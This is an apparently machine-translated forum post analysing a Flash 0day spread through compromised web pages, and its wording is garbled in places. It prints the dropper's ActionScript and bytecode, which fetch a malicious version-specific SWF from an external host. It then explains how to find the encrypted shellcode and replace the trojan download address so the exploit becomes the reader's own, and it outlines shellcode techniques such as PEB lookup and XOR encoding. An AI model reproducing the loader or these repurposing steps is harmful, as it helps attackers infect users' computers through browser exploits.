FLASH 0DAY Detailed analysis and summary of graphics and text _ Vulnerability Research

Recent flash out of a few 0DAY, the forum also posted related news information (see: http://bbs.tian6.com/viewthread.php?tid=4434&extra=&page=1). I began to study it about 5 days ago. I remember the same time the evil octal people began to do the same. So far, the 0DAY can affect the 90.115 version. And the study of the eight side of the evil, first announced two days before the successful completion. This brings me no small pressure.

(i)As a preliminary study, through the help of Tim, I got 2 swf nets from several of the pages of the horse being hanged. After being compiled, I learned that these two SWF versions of the local Flash plugin Will again download 2 malicious SWF files that really have the ability to overflow and download the virus to local execution. The detailed code for verifying and downloading the SWF file is as follows:
var fversion = GetVersion ();
Loadmovie ("http://bao.5bao.net/123/" + fversion + "i.swf", _root);
Stop ();

A local flash version is available ———————————— here. ————————————-
Description: Load an external File command Loadmovie () You can load a SWF file while loading an external SWF file or JPEG file into Flash player so that you can display several SWF files at the same time, or switch between several SWF files [local]1[/lo Cal
1, loadmovie ("url", Target [, Method])
URL: The absolute or relative path of the SWF file or JPEG file to be loaded.
Using relative paths, you should generally put the playback. swf file in the same folder as the. swf file that you want to load. The absolute path must have a detailed path address.
Target: The name and path of the destination movie clip (MC component). The target movie clip will be replaced with a loaded SWF file or image.
Method Optional parameters, generally can not be selected.

[Action in Frame 1]
_constantpool "Fversion" "/: $version" "http://xioayang,com/123/" "c.swf" "_root"
_push "Fversion" "/: $version"
_getvariable
_var
_push "http://xioayang,com/123/" "Fversion"
_getvariable
_add2
_push "c.swf"
_add2
_push "_root"
_getvariable
_GETURL2 Flag 64
_stop
_end
————————-get the version, compose the download address and download the real killer swf. ———————
Action in Frame 1 also opens the c.swf and push in root.

According to the above, I downloaded the corresponding "win%209,0,45,0ie.swf" saved to the local, so we have a total of 4 sample SWF, of which 2 of the main SWF overflow. Finally, we have the capital to compare and analyze the documents.

(ii) after the anti-compiler overflow main SWF, we see this SWF includes 3 tags, 1 actions, 1 picture elements, 1 reconnaissance.

By comparing our two samples by 2, the discovery of the suspect is the image element and the detective. Evil octal The research there is considered to be part of the picture. And eventually locked a piece of code in the picture. However, no matter the image or the detection in the 16 is garbled. Through several commonly used shellcode encryption techniques , I still can't undo the useful information. The other day I began to lose direction from here. Some of the code screenshots are visible:

(c) after several days of thinking and a number of ideas on the 0DAY principle, we determine that the flash0day principle is to allow users to browse the SWF file, if the user's Flash plug-in version equals or less than 115, it will download and run malicious swf. Overflow generated , overflow, will be in accordance with the small black to you ready for the Trojan address to perform the download + implementation of the operation, then the Trojan address itself, must exist in this can overflow SWF. The reason why we can't find this code in 16 is because Shellcode is encrypted. So how do you find this location and how to identify the encryption? We use reverse engineering here. Reverse Engineering ", translated into Chinese is" reverse engineering ". I used the trw,soft-ice and w32dasm through constant important address breakpoints, continuous assembly debugging, analysis of the message response function, finally the shellcode locked in here: 16 in-system open main overflow swf

Note that the value is 62. Starting here, the Trojan address appears. Before changing the Trojan address, change the value here to 51.
And then find:

This part is modified for your horse's address.
Such as:

At this point, you have succeeded in turning this horse into your own.

(iv)We continue to explore the encryption principle of this shellcode ... This is also we cannot find, can only rely on the reverse to gradually push the highway. Open says this is the same shellcode as the shellcode of the Thunder 0day before XOR encryption is encrypted. The
below refers to the principle of encryption and decryption of partial XOR:
Shellcode to work properly on someone else's computer, the key to note:
1. It is difficult for all shellcode to ensure that their code is loaded into which memory address. Shellcode to run, especially to read the data in their own code (such as the virus URL address, to call the function name, such as constants and variables), you have to position themselves, that is, to obtain their own in memory virtual address.
Generally, you can locate your code by getting to the current entry point EIP value of the program as long as you execute the shellcode process. But the EIP value is not directly with MOV and other methods to obtain. To this end, shellcode writers took advantage of a typical approach that you will see in the shellcode below.
2.shellcode must call the System API function in the space of the process to complete the remote download file and run it. So, how do I get the function address? This is another key to the remote injection code: The function address relocation problem.
As long as the DLL in which the API resides is loaded by the process, the function address can be called by the GetProcAddress exported by Kernel32.dll. However, GetProcAddress itself is also a function, we first have to get its address ah! It looks like it's going into a dead loop.
This being the case, the Shellcode author must simulate how the program loads the DLL and create a similar "input table" for his shellcode code. To get the address of the GetProcAddress function in Kernel32.dll, you also need to read the Kernel32.dll output table. So, the question becomes how to locate the Kernel32.dll output table. The
problem has turned into a problem with the read of a PE file structure. As long as the Kernel32.dll in the process virtual space in the base address (DOS file head, that is, MZ location), you can read at 03CH offset to the PE file header ("; PE "typeface address" relative to this DOS file head offset, and calculate the PE file header address. The 78H in the header structure of the PE file is the address of the output table. By retrieving the output table, you can get the offset of the address of the GetProcAddress function and further become the entry point address in the virtual space. The
problem goes deeper into how to get the "Kernel32.dll file's base address in the process space." Hard coded? So you simply code the function address, not more province?! Shellcode authors have a better approach.
Referring to the base address of the DLL, a structure is ready to be--

peb! fs:[0x30]!

I haven't fully summed up my operation about how to crack XOR encryption Shellcode in this flash0day. I'll add in the summary. Here is a list of two articles for your reference:

http://bbs.pediy.com/showthread.php?t=46068
Http://hi.baidu.com/yicong2007/blog/item/d8355616879b964921a4e9e8.html